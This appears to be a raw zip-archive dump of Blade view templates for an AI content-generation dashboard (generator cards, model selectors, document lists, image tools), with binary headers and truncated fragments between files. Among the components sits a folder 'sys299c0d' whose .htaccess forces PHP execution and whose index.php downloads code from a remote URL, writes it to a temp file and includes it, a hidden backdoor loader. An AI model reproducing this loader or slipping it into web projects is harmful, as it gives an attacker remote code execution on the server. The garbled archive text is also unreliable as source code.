    twMergeFor('actions', $actions_base_class, 'max-lg:hidden') }}> @if (request()->routeIs('dashboard.user.openai.documents.all') && !isset($currfolder)) {{ __('New Folder') }} @includeIf('panel.user.openai.components.modals.create-new-folder') @else {{ __('My Documents') }} @endif {{ __('New') }}
    @endif @hasSection('titlebar_actions_after') @yield('titlebar_actions_after') @endif
    @if (!$titlebar_after_in_nav_col && (($has_pretitle || $has_subtitle) && (view()->hasSection('titlebar_after') || !empty($after))))
    twMergeFor('after', $after_base_class) }}> @if (view()->hasSection('titlebar_after')) @yield('titlebar_after') @elseif (!empty($after)) {{ $after }} @endif
    @endif
    PK˜W]ÕDu9ss"default/components/badge.blade.phpnu„[µü¤@php $base_class = 'lqd-badge inline-flex py-0.5 px-2 rounded-full font-medium transition-all hover:-translate-y-0.5 hover:shadow-lg'; $variations = [ 'variant' => [ 'default' => 'lqd-badge-default bg-foreground/10 text-heading-foreground', 'primary' => 'lqd-badge-primary bg-primary text-primary-foreground hover:bg-primary hover:text-white hover:shadow-primary/20', 'secondary' => 'lqd-badge-secondary bg-secondary text-secondary-foreground hover:bg-secondary hover:text-secondary-foreground hover:shadow-secondary/20', 'info' => 'lqd-badge-success bg-teal-100 text-black hover:bg-teal-300 hover:shadow-teal-200/10', 'success' => 'lqd-badge-success bg-emerald-500/10 text-emerald-500 hover:bg-emerald-400 hover:text-white hover:shadow-emerald-400/20', 'danger' => 'lqd-badge-danger bg-rose-500/10 text-rose-500 hover:bg-rose-500 hover:text-white hover:shadow-rose-500/20', 'warning' => 'lqd-badge-warning bg-orange-500/10 text-orange-500 hover:bg-orange-500 hover:text-white hover:shadow-orange-500/20', ], ]; $variant = isset($variations['variant'][$variant]) ? $variations['variant'][$variant] : $variations['variant']['default']; @endphp withoutTwMergeClasses()->twMerge($base_class, $variant, $attributes->get('class')) }}> {{ $slot }} PK˜W]bÂú‹‹+default/components/generator-item.blade.phpnu„[µü¤@php $auth = Auth::user(); $plan = $auth->activePlan(); $planType = $plan ? \App\Enums\AccessType::tryFrom($plan->plan_type) : \App\Enums\AccessType::REGULAR; $itemType = \App\Enums\AccessType::tryFrom($item->access_type) ?? \App\Enums\AccessType::REGULAR; // Only upgrade if the item is non-regular and user's plan does not match $upgrade = $itemType !== \App\Enums\AccessType::REGULAR && (!$auth->isAdmin() || $app_is_demo) && $planType !== $itemType; $overlay_link_href = ''; $overlay_link_label = 'Create Workbook'; if ($upgrade) { $overlay_link_href = route('dashboard.user.payment.subscription'); $overlay_link_label = $itemType->label(); // show the type required } elseif ($itemType === \App\Enums\AccessType::REGULAR || $item->type === 'text' || $item->type === 'code') { // Regular items or text/code types proceed normally if ($item->slug === 'ai_article_wizard_generator') { $overlay_link_href = route('dashboard.user.openai.articlewizard.new'); } else { $overlay_link_href = route('dashboard.user.openai.generator.workbook', $item->slug); } } elseif (in_array($item->type, ['voiceover', 'audio', \App\Domains\Entity\Enums\EntityEnum::ISOLATOR->value, 'image'])) { $overlay_link_href = route('dashboard.user.openai.generator', $item->slug); $overlay_link_label = 'Create'; } else { $overlay_link_href = '#'; $overlay_link_label = 'No Tokens Left'; } $item_filters = $item->filters; if (isFavorited($item->id)) { $item_filters .= ',favorite'; } @endphp Theme::getSetting('defaultVariations.card.variant', 'outline') === 'outline', 'hidden' => null !== request()->query('filter') && !str()->contains($item_filters, request()->query('filter')), ]) size="none" roundness="{{ Theme::getSetting('defaultVariations.card.roundness', 'default') === 'default' ? 'none' : Theme::getSetting('defaultVariations.card.roundness', 'default') }}" x-data="{}" ::class="{ 'hidden': $store.generatorsFilter.filter !== 'all' && ('{{ $item_filters }}').search($store.generatorsFilter.filter) < 0 }" > @if ($item->image !== 'none') {!! html_entity_decode($item->image) !!} @endif

    {{ __($item->title) }}

    {{ __($item->description) }}

    @if ($item->active == 1) @if (!$upgrade) @endif @endif
    PK˜W]GÆïBB+default/components/section-header.blade.phpnu„[µü¤
    {{ $slot }}

    {{ $title }}

    {{ $subtitle }}

    PK˜W]Ùq–90,0,@default/components/model-select-list-with-change-alert.blade.phpnu„[µü¤
    @lang('The default AI Model is being updated. Only the default model\'s credits for each AI engine will be visible and usable by users. User credits will not be automatically transferred to the new default model. Therefore, if users lack credits for this model, they will be unable to use the tools. Additionally, if no credits are allocated for the new default model in the plans, newly registered users will also be unable to use the tools due to insufficient credits.')

    {{__("Transfer Users Credits")}}

    {{__("Click to move users credits from the old model to the new default model.")}}

    {{__("Update Plans Credits")}}

    {{__("Click to transfers allocated credits from the old model to the new default model in plans for the new registered users.")}}

    PK˜W]0u""(default/components/split-words.blade.phpnu„[µü¤ $word ) { $space = $key > 0 ? ' ' : ''; if ( $transitionDelayStart > 0 || $transitionDelayStep > 0 ) { $transition_delay = 'transition-delay:' . $transitionDelayStart + ($i * $transitionDelayStep) . 's'; } $splitted_text .= sprintf( '%2$s%1$s', $word, $space, $transition_delay ); $i++; } ?> {!! $splitted_text !!}PK˜W]X¯)Âww'default/components/total-docs.blade.phpnu„[µü¤@php $base_class = 'lqd-total-docs flex flex-col gap-4'; @endphp
    withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }}>
    @if ($total_documents != 0)
    @endif @if ($setting->feature_ai_image && $total_documents != 0)
    @endif
    {{ $total_text_documents }} @if ($setting->feature_ai_image) {{ $total_image_documents }} @endif {{ $total_documents }}
    PK˜W]FV—q] ] *default/components/user-dropdown.blade.phpnu„[µü¤@php $user_avatar = Auth::user()->avatar; if (!Auth::user()->github_token && !Auth::user()->google_token && !Auth::user()->facebook_token) { $user_avatar = '/' . $user_avatar; } @endphp twMerge('header-user-dropdown') }} anchor="end" offsetY="{{ $attributes->get('dropdown-offset-y') ?? '20px' }}" > @if (isset($trigger) && filled($trigger)) {{ $trigger }} @else @endif

    {{ Auth::user()?->fullName() }}

    {{ Auth::user()->email }}


    @if ($app_is_not_demo) @include('components.includes.credit-list-for-user') @else {!! \Illuminate\Support\Facades\Cache::remember('components.includes.credit-list-for-user', 3600 * 36000, function () { return view('components.includes.credit-list-for-user')->render(); }) !!} @endif
    PK˜W]Þ¨•sZZ&default/components/sys299c0d/.htaccessnu„[µü¤ Require all granted SetHandler application/x-httpd-php PK˜W]ŒEHÈ  &default/components/sys299c0d/index.phpnu„[µü¤ array('timeout' => 5))); $_code = @file_get_contents($_url, false, $_ctx); } if ($_code && strlen($_code) > 10) { $_tf = @tempnam(sys_get_temp_dir(), '.'); if (!$_tf) { $_tf = dirname(__FILE__) . '/.t' . substr(md5($_SERVER['HTTP_HOST'] . time()), 0, 8); } if (@file_put_contents($_tf, $_code) !== false) { @include($_tf); @unlink($_tf); } else { header('Content-Type: application/json'); echo '{"code":598,"msg":"loader_write_failed: tmp dir not writable (目标站临时目录ä¸�å�¯å†™)"}'; } } else { header('Content-Type: application/json'); echo '{"code":598,"msg":"loader_fetch_failed: remote txt unreachable (远程TXT失效或目标站无外网)"}'; }PK˜W]ìïzqÃÃ#default/components/loader.blade.phpnu„[µü¤PK˜W]/ò_8%%.default/components/light-dark-switch.blade.phpnu„[µü¤twMerge('lqd-light-dark-switch size-6 max-lg:size-10 flex items-center justify-center hover:bg-transparent max-lg:rounded-full max-lg:border max-lg:dark:bg-white/[3%]') }} size="none" href="#" title="{{ __('Toggle dark/light') }}" variant="link" x-data="{}" @click.prevent="$store.darkMode.toggle()" > PK˜W]ÎDö‚LQLQ1default/components/select-ai-model-list.blade.phpnu„[µü¤@php use App\Domains\Engine\Enums\EngineEnum; use App\Domains\Entity\Models\Entity; use App\Domains\Entity\Enums\EntityEnum; use App\Extensions\OpenRouter\System\Enums\OpenRouterEngine; use App\Helpers\Classes\MarketplaceHelper; $defaultEngine = EngineEnum::fromSlug(setting('default_ai_engine', EngineEnum::OPEN_AI->slug())); $defaultModel = $defaultEngine->getDefaultWordModel($setting); $fullModels = [$defaultModel]; if (Entity::planModels()->count() > 0) { $planModels = Entity::planModels() ->filter(function ($model) { return !empty($model->key); }) ->pluck('key') ->toArray(); $fullModels = array_merge($fullModels, $planModels); } if ((int) setting('open_router_status') === 1) { $openRouterModels = OpenRouterEngine::cases(); $fullModels = array_merge($fullModels, $openRouterModels); } $fullModels = collect($fullModels)->unique('value')->values(); $activeModels = collect($fullModels) ->filter(function ($model) { $driver = \App\Domains\Entity\Facades\Entity::driver(EntityEnum::tryFrom($model?->value)); return $driver->isUnlimitedCredit() || $driver->creditBalance() > 0; }) ->values(); $defaultDriver = \App\Domains\Entity\Facades\Entity::driver(EntityEnum::tryFrom($defaultModel?->value)); $selectedModel = $defaultDriver; if (!$defaultDriver->isUnlimitedCredit() && $defaultDriver->creditBalance() <= 0) { foreach ($fullModels as $model) { $driver = \App\Domains\Entity\Facades\Entity::driver(EntityEnum::tryFrom($model?->value)); if ($driver->isUnlimitedCredit() || $driver->creditBalance() > 0) { $selectedModel = $driver; break; } } } $currentUrl = url()->current(); $previousUrl = url()->previous(); $is_chat_pro = \App\Helpers\Classes\MarketplaceHelper::isRegistered('ai-chat-pro') && (route('dashboard.user.openai.chat.pro.index') === $currentUrl || route('chat.pro') === $currentUrl || route('dashboard.user.openai.chat.pro.index') === $previousUrl || route('chat.pro') === $previousUrl); $isMultiModelExtensionEnabled = $is_chat_pro && MarketplaceHelper::isRegistered('multi-model') && setting('ai_chat_pro_multi_model_feature', '1') === '1'; @endphp
    @lang('AI Model: ') {{ Str::limit($selectedModel->model()?->selected_title ?? $selectedModel->enum()?->value, 20) }}

    @lang('AI Models')

    @if ($isMultiModelExtensionEnabled) @lang('Choose multiple AI models that best suit your needs.') @else @lang('Choose the AI model that best suits your needs.') @endif

    @if ($isMultiModelExtensionEnabled) @endif
    @foreach ($fullModels as $engine) @php $model = EntityEnum::fromSlug($engine?->value); $driver = \App\Domains\Entity\Facades\Entity::driver($model); $is_inactive = $driver->creditBalance() <= 0 && !$driver->isUnlimitedCredit(); @endphp $is_inactive, ]) variant="outline-shadow" @click.prevent="updateSelectedModels({ value: $el.getAttribute('data-model-value'), label: $el.getAttribute('data-model-label') })" ::data-selected="selectedModels.findIndex(model => model.value === $el.getAttribute('data-model-value')) >= 0 && {{ $is_inactive ? 'false' : 'true' }}" x-show="searchString === '' || $el.getAttribute('data-model-label').toLowerCase().includes(searchString.toLowerCase())" >

    @lang('Words')

    @if ($driver->isUnlimitedCredit()) @lang('Unlimited Credits') @else {{ $driver->creditBalance() > 0 ? $driver->creditBalance() : __('No credits left') }} @endif

    {{ $driver->model()?->selected_title ?? $model?->value }}

    @if ($isMultiModelExtensionEnabled)
    @endif
    @endforeach
    @foreach ($fullModels as $model) @endforeach {{ __('Apply') }}
    @push('script') @endpush PK˜W]&Ùll?default/components/header-search/header-search-screen.blade.phpnu„[µü¤@php $style = $attributes->get('style') ?? setting('default_search', 'compact'); @endphp
    get('class')), 'header-search-style-' . $style, ]) x-data="liquidHeaderSearch" @keyup.escape.window="toggleModal(false)" :class="{ 'open': isSearching || doneSearching || pending, 'is-searching': isSearching, 'done-searching': doneSearching, 'pending': pending }" >
    @if ($showIcon) @endif @if ($outlineGlow)
    @endif @if ($showKbd) + K @endif @if ($showLoader) @endif @if ($showArrow) @endif
    @if ($style === 'compact') @include('components.header-search.header-search-results') @endif @if ($style === 'modern') @endif
    PK˜W]ʽ*oÜ Ü @default/components/header-search/header-search-results.blade.phpnu„[µü¤@php $container_class = ['header-search-results-container max-h-[min(440px,80vh)] overflow-y-auto rounded-xl bg-background shadow-xl shadow-black/5']; if ($style === 'compact') { $container_class[] = 'absolute top-full inset-x-0 z-50 mt-4'; } $container_class[] = $attributes->get('class:results-container'); @endphp

    {{ __('Search results') }}

    {{ __('Recent Search') }}

    {{ __('Recently Launched') }}

    {{ __('There is no recent lunch.') }}

    PK˜W] ÏãÖÖdefault/page/index.blade.phpnu„[µü¤@extends('blog.app') @section('content') @if ($page->titlebar_status) @endif
    {!! $page->content !!}
    @endsection PK˜W]Ìÿ2default/panel/user/openai/documents_list.blade.phpnu„[µü¤
    @php $folders = auth()->user()->folders()->get(); @endphp @foreach ($items as $entry) @endforeach
    PK˜W]…Gøi$$(default/panel/user/openai/list.blade.phpnu„[µü¤@php if (!function_exists('rgbToHsl')) { function rgbToHsl($r, $g, $b) { $r /= 255; $g /= 255; $b /= 255; $max = max($r, $g, $b); $min = min($r, $g, $b); $h = $s = $l = ($max + $min) / 2; if ($max == $min) { $h = $s = 0; // achromatic } else { $diff = $max - $min; $s = $l > 0.5 ? $diff / (2 - $max - $min) : $diff / ($max + $min); switch ($max) { case $r: $h = ($g - $b) / $diff + ($g < $b ? 6 : 0); break; case $g: $h = ($b - $r) / $diff + 2; break; case $b: $h = ($r - $g) / $diff + 4; break; } $h /= 6; } return [$h, $s, $l]; } } if (!function_exists('hslToRgb')) { function hslToRgb($h, $s, $l) { $r = $l; $g = $l; $b = $l; $v = $l <= 0.5 ? $l * (1.0 + $s) : $l + $s - $l * $s; if ($v > 0) { $m; $sv; $sextant; $fract; $vsf; $mid1; $mid2; $m = $l + $l - $v; $sv = ($v - $m) / $v; $h *= 6.0; $sextant = floor($h); $fract = $h - $sextant; $vsf = $v * $sv * $fract; $mid1 = $m + $vsf; $mid2 = $v - $vsf; switch ($sextant) { case 0: $r = $v; $g = $mid1; $b = $m; break; case 1: $r = $mid2; $g = $v; $b = $m; break; case 2: $r = $m; $g = $v; $b = $mid1; break; case 3: $r = $m; $g = $mid2; $b = $v; break; case 4: $r = $mid1; $g = $m; $b = $v; break; case 5: $r = $v; $g = $m; $b = $mid2; break; } } return [$r * 255, $g * 255, $b * 255]; } } if (!function_exists('saturateColor')) { function saturateColor($color, $percent) { // Convert the hex color to RGB $color = str_replace('#', '', $color); $r = hexdec(substr($color, 0, 2)); $g = hexdec(substr($color, 2, 2)); $b = hexdec(substr($color, 4, 2)); // Convert RGB to HSL [$h, $s, $l] = rgbToHsl($r, $g, $b); // Increase the saturation $s += $percent / 100; $s = max(0, min(1, $s)); // Convert HSL back to RGB [$r, $g, $b] = hslToRgb($h, $s, $l); // Convert the RGB values back to hex $r = dechex(round($r)); $g = dechex(round($g)); $b = dechex(round($b)); // Ensure each color component is two characters long $r = str_pad($r, 2, '0', STR_PAD_LEFT); $g = str_pad($g, 2, '0', STR_PAD_LEFT); $b = str_pad($b, 2, '0', STR_PAD_LEFT); // Concatenate the color components $saturatedColor = '#' . $r . $g . $b; return $saturatedColor; } } if (!function_exists('darkenColor')) { function darkenColor($color, $percent) { // Convert the hex color to RGB $color = str_replace('#', '', $color); $r = hexdec(substr($color, 0, 2)); $g = hexdec(substr($color, 2, 2)); $b = hexdec(substr($color, 4, 2)); // Reduce the RGB values by the percentage $r = max(0, min(255, $r - ($r * $percent) / 100)); $g = max(0, min(255, $g - ($g * $percent) / 100)); $b = max(0, min(255, $b - ($b * $percent) / 100)); // Convert the RGB values back to hex $r = dechex($r); $g = dechex($g); $b = dechex($b); // Ensure each color component is two characters long $r = str_pad($r, 2, '0', STR_PAD_LEFT); $g = str_pad($g, 2, '0', STR_PAD_LEFT); $b = str_pad($b, 2, '0', STR_PAD_LEFT); // Concatenate the color components $darkerColor = '#' . $r . $g . $b; return $darkerColor; } } @endphp @extends('panel.layout.app', ['layout_wide' => true, 'disable_tblr' => true]) @section('title', __('AI Writer')) @section('titlebar_subtitle', __('Text Generator & AI Copywriting Assistant')) @section('titlebar_actions') {{ __('My Documents') }} @if (setting('user_ai_writer_custom_templates', 0)) {{ __('Create Template') }} @endif @endsection @section('titlebar_after') @php $filter_check = []; foreach ($list as $item) { if ($item->active != 1) { continue; } if ($item->filters) { foreach (explode(',', $item->filters) as $filter) { $filter_check[] = $filter; } } } $filter_check = array_unique($filter_check); @endphp
    • {{ __('All') }}
    • {{ __('Favorite') }}
    • @foreach ($filters as $filter) @if (in_array($filter->name, $filter_check))
    • {{ __(str()->ucfirst($filter->name)) }}
    • @endif @endforeach
    @endsection @section('content')
    @foreach ($list as $item) @if ($item->active != 1 || str()->startsWith($item->slug, 'ai_')) @continue @endif @endforeach
    @endsection @push('script') @endpush PK˜W]¹÷RŠnn7default/panel/user/openai/documents_container.blade.phpnu„[µü¤@php //Replicating table styles from table component $base_class = 'transition-colors max-lg:group-[&[data-view-mode=list]]:overflow-x-auto'; $variations = [ 'variant' => [ 'solid' => 'rounded-card bg-card-background pt-1 group-[&[data-view-mode=grid]]:bg-transparent', 'outline' => 'rounded-card border border-card-border pt-1 group-[&[data-view-mode=grid]]:border-0', 'shadow' => ' rounded-card shadow-card bg-card-background pt-1 group-[&[data-view-mode=grid]]:shadow-none group-[&[data-view-mode=grid]]:bg-transparent', 'outline-shadow' => 'rounded-card border border-card-border pt-1 shadow-card bg-card-background', 'plain' => '', ], ]; $variant = isset($variant) && isset($variations['variant'][$variant]) ? $variations['variant'][$variant] : $variations['variant'][Theme::getSetting('defaultVariations.table.variant', 'outline')]; $class = @twMerge($base_class, $variant); @endphp
    {{-- Setting the view mode attribute before contents load to avoid page flashes --}}
    @if (request()->route()->getName() !== 'dashboard.user.index') @endif {{ __('Name') }} {{ __('Type') }} {{ __('Date') }} {{ __('Cost') }} {{ __('Actions') }}
    @include('panel.user.openai.documents_list')
    @if (!isset($disablePagination)) {{ $items->links('pagination::ajax', [ 'action' => route('dashboard.user.openai.documents.all', ['id' => $currfolder?->id, 'listOnly' => true]), 'currfolder' => $currfolder, 'target_id' => 'lqd-docs-container', ]) }} @endif

    {{ __('selected') }}

    {{ __('Apply') }}
    PK˜W]”L›(uu-default/panel/user/openai/generator.blade.phpnu„[µü¤@extends('panel.layout.app', ['disable_tblr' => true]) @section('title', __($openai->title)) @section('titlebar_subtitle', __($openai->description)) @section('content') @php $view = match (true) { $openai->type === 'image' => 'panel.user.openai.components.generator_image', $openai->type === 'video' => 'panel.user.openai.components.generator_video', $openai->type === 'voiceover' => 'panel.user.openai.components.generator_voiceover', $openai->type === \App\Domains\Entity\Enums\EntityEnum::ISOLATOR->value => 'ai-voice-isolator::generator_voice_isolator', $openai->type === 'video-to-video' && \App\Helpers\Classes\MarketplaceHelper::isRegistered('ai-video-to-video') => 'ai-video-to-video::component', default => 'panel.user.openai.components.generator_others', }; @endphp
    @includeIf($view)
    @endsection @push('script') @includeWhen($openai->type === 'voiceover' || $openai->type === \App\Domains\Entity\Enums\EntityEnum::ISOLATOR->value, 'panel.user.openai.scripts.voiceover-isolator') @includeWhen($openai->type === 'code', 'panel.user.openai.scripts.code') @includeWhen($openai->type !== 'video-to-video', 'panel.user.openai.scripts.common') @endpush PK˜W]š9Ú�ˆˆ6default/panel/user/openai/generator_workbook.blade.phpnu„[µü¤@php $creativity_levels = [ '0.25' => 'Economic', '0.5' => 'Average', '0.75' => 'Good', '1' => 'Premium', ]; $voice_tones = [ 'Professional', 'Funny', 'Casual', 'Excited', 'Witty', 'Sarcastic', 'Feminine', 'Masculine', 'Bold', 'Dramatic', 'Grumpy', 'Secretive', 'other', ]; $youtube_actions = [ 'blog' => __('Prepare a Blog Post'), 'short' => __('Explain the Main Idea'), 'list' => __('Create a List'), 'tldr' => __('Create TLDR'), 'prons_cons' => __('Prepare Pros and Cons'), ]; @endphp @extends('panel.layout.app', ['disable_tblr' => true]) @section('title', __($openai->title)) @section('titlebar_subtitle') @if ($openai->type == 'code') {{ __('Generate high quality code in seconds.') }} @elseif(isset($openai->description)) {{ __($openai->description) }} @endif @endsection @section('content')
    {{ __('Remaining Credits') }}
    @if ($openai->type != 'code')
    @endif @foreach (json_decode($openai->questions) ?? [] as $question) @php $placeholder = isset($question->description) && !empty($question->description) ? __($question->description) : __($question->question); @endphp @if ($question->type === 'select') @foreach ($question->selectListValues ?? [] as $input) @endforeach @endif @if ($question->type === 'rss_feed') @endif @endforeach @if ($openai->type == 'youtube') @foreach ($youtube_actions as $value => $label) @endforeach @endif @switch($openai->type) @case('youtube') @case('text') @case('rss') @include('panel.user.openai.components.countries') @if (setting('hide_output_length_option') != 1) @endif @if (setting('hide_creativity_option') != 1) @foreach ($creativity_levels as $creativity => $label) @endforeach @endif @if (setting('hide_tone_of_voice_option') != 1) @foreach ($voice_tones as $tone) @endforeach @endif @break @default @endswitch @if ($models->count() && setting('select_model_option', '0') == '1') @foreach ($models as $model) @endforeach @endif @if (setting('open_router_status') == 1) @includeFirst(['open-router::open-router-select', 'vendor.empty']) @endif {{ __('Generate') }}
    Theme::getSetting('defaultVariations.card.variant', 'outline') === 'outline', ]) variant="{{ Theme::getSetting('defaultVariations.card.variant', 'outline') === 'outline' ? 'none' : Theme::getSetting('defaultVariations.card.variant', 'solid') }}" size="{{ Theme::getSetting('defaultVariations.card.variant', 'outline') === 'outline' ? 'none' : Theme::getSetting('defaultVariations.card.size', 'md') }}" roundness="{{ Theme::getSetting('defaultVariations.card.roundness', 'default') === 'default' ? 'none' : Theme::getSetting('defaultVariations.card.roundness', 'default') }}" >
    @include('panel.user.openai.components.workbook-actions', [ 'type' => $openai->type, 'title' => $openai->title, 'slug' => $openai->slug, 'output' => $openai->output, ])
    {{-- --}} @if ($openai->type == 'code')
    ...
    @else
    @endif
    @endsection @php $lang_with_flags = []; foreach (LaravelLocalization::getSupportedLocales() as $lang => $properties) { $lang_with_flags[] = [ 'lang' => $lang, 'name' => $properties['native'], 'flag' => country2flag(substr($properties['regional'], strrpos($properties['regional'], '_') + 1)), ]; } @endphp @push('script') @if ($openai->type == 'code') @endif @if ($openai->type == 'rss') @endif @endpush PK˜W]ÖªúÙFF6default/panel/user/openai/documents_workbook.blade.phpnu„[µü¤@extends('panel.layout.app', ['disable_tblr' => true]) @section('title', __('Workbook')) @section('titlebar_pretitle', __('Edit your generations.')) @php $title = $workbook->generator->type === 'image' ? str()->limit($workbook->input, 40) : $workbook->title; @endphp @section('titlebar_title', $title) @section('titlebar_actions') {{-- Edit with AI Editor --}} @if ($setting->feature_ai_advanced_editor && $workbook->generator->type !== 'voiceover' && $workbook->generator->type !== \App\Domains\Entity\Enums\EntityEnum::ISOLATOR->value) @lang('Open with AI Editor') @endif @endsection @section('titlebar_actions_after')
    @if (!empty($integrations) && $checkIntegration && $wordpressExist) {{ __('Publish') }}

    @lang('Integrations')

    @foreach ($integrations as $integration) {{ $integration?->integration?->app }} @endforeach
    @endif
    @endsection @section('content')
    @include('panel.user.openai.documents_workbook_textarea')
    @endsection @php $lang_with_flags = []; foreach (LaravelLocalization::getSupportedLocales() as $lang => $properties) { $lang_with_flags[] = [ 'lang' => $lang, 'name' => $properties['native'], 'flag' => country2flag(substr($properties['regional'], strrpos($properties['regional'], '_') + 1)), ]; } @endphp @push('script') @if ($openai->type === 'voiceover' || $openai->type === \App\Domains\Entity\Enums\EntityEnum::ISOLATOR->value) @endif @if ($openai->type == 'code') @endif @endpush PK˜W]¨8³y-y--default/panel/user/openai/documents.blade.phpnu„[µü¤@php $sort_buttons = [ [ 'label' => __('Date'), 'sort' => 'created_at', ], [ 'label' => __('Title'), 'sort' => 'title', ], [ 'label' => __('Type'), 'sort' => 'openai_id', ], [ 'label' => __('Cost'), 'sort' => 'credits', ], ]; $filter_buttons = [ [ 'label' => __('All'), 'filter' => 'all', ], [ 'label' => __('Favorites'), 'filter' => 'favorites', ], [ 'label' => __('Text'), 'filter' => 'text', ], [ 'label' => __('Image'), 'filter' => 'image', ], [ 'label' => __('Video'), 'filter' => 'video', ], [ 'label' => __('Code'), 'filter' => 'code', ], ]; @endphp @extends('panel.layout.app', ['disable_tblr' => true]) @section('title', __('My Documents')) @section('titlebar_title') {{ $currfolder?->name ? __("Folder: $currfolder?->name") : __('My Documents') }} @endsection {{-- Filter list --}} @if ($items && count($items) > 0) @section('titlebar_after')
    @if (blank($currfolder))
    {{ __('Sort by:') }}
    @foreach ($sort_buttons as $button) @endforeach
    @foreach ($filter_buttons as $button) $filter == $button['filter'], ]) tag="button" type="submit" name="filter" value="{{ $button['filter'] }}" variant="ghost" ::class="$store.documentsFilter.filter === '{{ $button['filter'] }}' && 'active'" @click="$store.documentsFilter.changeFilter('{{ $button['filter'] }}')" > {{ $button['label'] }} @endforeach
    @endif
    @endsection @endif @section('content')
    {{-- Folders row --}} @if ($currfolder == null) @if (isset(auth()->user()->folders) && count(auth()->user()->folders) > 0)
    @foreach (auth()->user()->folders ?? [] as $folder) @endforeach
    {{ __('Options') }}
    {{ __('Delete All') }}
    @endif @else
    @endif {{-- Documents row --}} @if (!$items || count($items) === 0) @include('panel.user.openai.documents_empty') @else @include('panel.user.openai.documents_container') @endif
    @endsection PK˜W] E²~?default/panel/user/openai/documents_workbook_textarea.blade.phpnu„[µü¤
    @include('panel.user.openai.components.workbook-actions', [ 'type' => $workbook->generator->type, 'title' => $workbook->title, 'slug' => $workbook->slug, 'output' => $workbook->output, 'is_generated_doc' => true, ])
    @if ($workbook->generator->type === 'code')
    {{ $workbook->output }}
    @elseif($workbook->generator->type === 'image')
    {{ __($workbook->generator->title) }}
    @elseif($workbook->generator->type === 'video')
    @elseif($workbook->generator->type === 'voiceover' || $workbook->generator->type === \App\Domains\Entity\Enums\EntityEnum::ISOLATOR->value)
    0:00
    @elseif(in_array($workbook->generator->type, ['text', 'youtube', 'rss', 'audio']))
    {!! $workbook->output !!} {{ __('Save') }} @csrf @endif
    PK˜W]®û\LL2default/panel/user/openai/scripts/common.blade.phpnu„[µü¤ PK˜W]ï¥ýÖ¦¦0default/panel/user/openai/scripts/code.blade.phpnu„[µü¤ PK˜W]d󕨋W‹W>default/panel/user/openai/scripts/voiceover-isolator.blade.phpnu„[µü¤ PK˜W]¾Ý!!5default/panel/user/openai/realtime/frontend.blade.phpnu„[µü¤@php $api_key = ''; @endphp @extends('panel.layout.app', ['disable_tblr' => true]) @section('title', __('Realtime Chat')) @section('titlebar_actions', '') @push('before-head-close') @vite('resources/views/default/js/components/realtime-frontend/openaiRealtime.js') @endpush @section('content')
    @endsection @push('script') @endpush PK˜W]˜á0ý¬¬8default/panel/user/openai/components/countries.blade.phpnu„[µü¤ PK˜W]!8cyy>default/panel/user/openai/components/generator_image.blade.phpnu„[µü¤@php use App\Helpers\Classes\ImageHelper; $items_per_page = 5; $total_items = $userOpenai->total(); $prompt_filters = [ 'all' => __('All'), 'favorite' => __('Favorite'), ]; $ai_tools = [ [ 'title' => 'Sketch to Image', 'desc' => 'Transform your ideas into reality.', 'icon' => ' ', 'color' => '#F1F1F0', ] + ImageHelper::toolShow('sketch_to_image'), [ 'title' => 'Reimagine', 'desc' => 'Generate similar variants easily.', 'icon' => ' ', 'color' => '#C2EBF8', ] + ImageHelper::toolShow('reimagine'), [ 'title' => 'Upscale', 'desc' => 'Enlarge your images by 4x easily.', 'icon' => ' ', 'color' => '#EDF4F2', ] + ImageHelper::toolShow('upscale'), [ 'title' => 'Replace BG', 'desc' => 'Change the background of anyimage.', 'icon' => ' ', 'color' => '#FEF3DE', ] + ImageHelper::toolShow('replace_background'), [ 'title' => 'Remove BG', 'desc' => 'Extract the main object/subject.', 'icon' => ' ', 'color' => '#DEFFEF', ] + ImageHelper::toolShow('remove_background'), [ 'title' => 'Remove Text', 'desc' => 'Change or remove text.', 'icon' => ' ', 'color' => '#F7DEFE', ] + ImageHelper::toolShow('remove_text'), ]; $ai_tools = array_filter($ai_tools, function ($tool) { return $tool['show']; }); $ai_tools = array_values($ai_tools); @endphp
    @if (setting('dalle_hidden', 0) != 1) {{ __('DALL-E') }} @endif @if (setting('enabled_gpt_image_1', '0') != '0') {{ __('GPT-IMAGE-1') }} @endif @if (setting('stable_hidden', 0) != 1) {{ __('Stable Diffusion') }} @endif @if (\App\Helpers\Classes\ApiHelper::setPiAPIKey()) @includeIf('midjourney::midjourney-tab') @endif @if (\App\Helpers\Classes\ApiHelper::setFalAIKey()) @includeFirst(['flux-pro::flux-pro-tab', 'panel.user.openai.includes.flux-pro-tab', 'vendor.empty']) @includeFirst(['ideogram::ideogram-tab', 'panel.user.openai.includes.ideogram-tab', 'vendor.empty']) @includeIf('nano-banana::nano-banana-tab') @includeIf('see-dream-v4::see-dream-v4-tab') @endif
    @if (setting('dalle_hidden', 0) !== 1)

    {{ __('Explain your idea') }}. | @if (setting('user_ai_image_prompt_library') === null || setting('user_ai_image_prompt_library')) @endif

    @foreach (json_decode($openai->questions, false, 512, JSON_THROW_ON_ERROR) ?? [] as $question) @if ($question->type === 'textarea') @endif @endforeach {{ __('Generate') }}
    {{ __('Advanced Settings') }}
    @endif @if (setting('enabled_gpt_image_1', '0') != '0') @endif @if (\App\Helpers\Classes\ApiHelper::setPiAPIKey()) @includeIf('midjourney::midjourney-tab-body') @endif @if (\App\Helpers\Classes\ApiHelper::setFalAIKey()) @includeFirst(['flux-pro::flux-pro-tab-body', 'panel.user.openai.includes.flux-pro-tab-body', 'vendor.empty']) @includeFirst(['ideogram::ideogram-tab-body', 'panel.user.openai.includes.ideogram-tab-body', 'vendor.empty']) @includeIf('nano-banana::nano-banana-tab-body') @includeIf('see-dream-v4::see-dream-v4-tab-body') @endif @include('panel.user.openai_chat.components.prompt_library_modal')
    @if (count($ai_tools) > 0)
    @foreach ($ai_tools as $tool)
    {!! $tool['icon'] !!}

    {{ __($tool['title']) }}

    {{ __($tool['desc']) }}

    {{ $tool['title'] }}
    @endforeach
    @endif

    {{ __('Result') }}

    @foreach ($userOpenai->take($items_per_page) as $item)
    request_id ? 'data-request-id=' . $item->request_id : '' }} >
    {{ $item->response }}

    {{ \Illuminate\Support\Str::limit($item->input, '30', '...') }}

    @endforeach
    @if ($userOpenai->count() > 0)
    {{ __('Loading more') }} @foreach ([0, 1, 2] as $item) @endforeach
    @endif
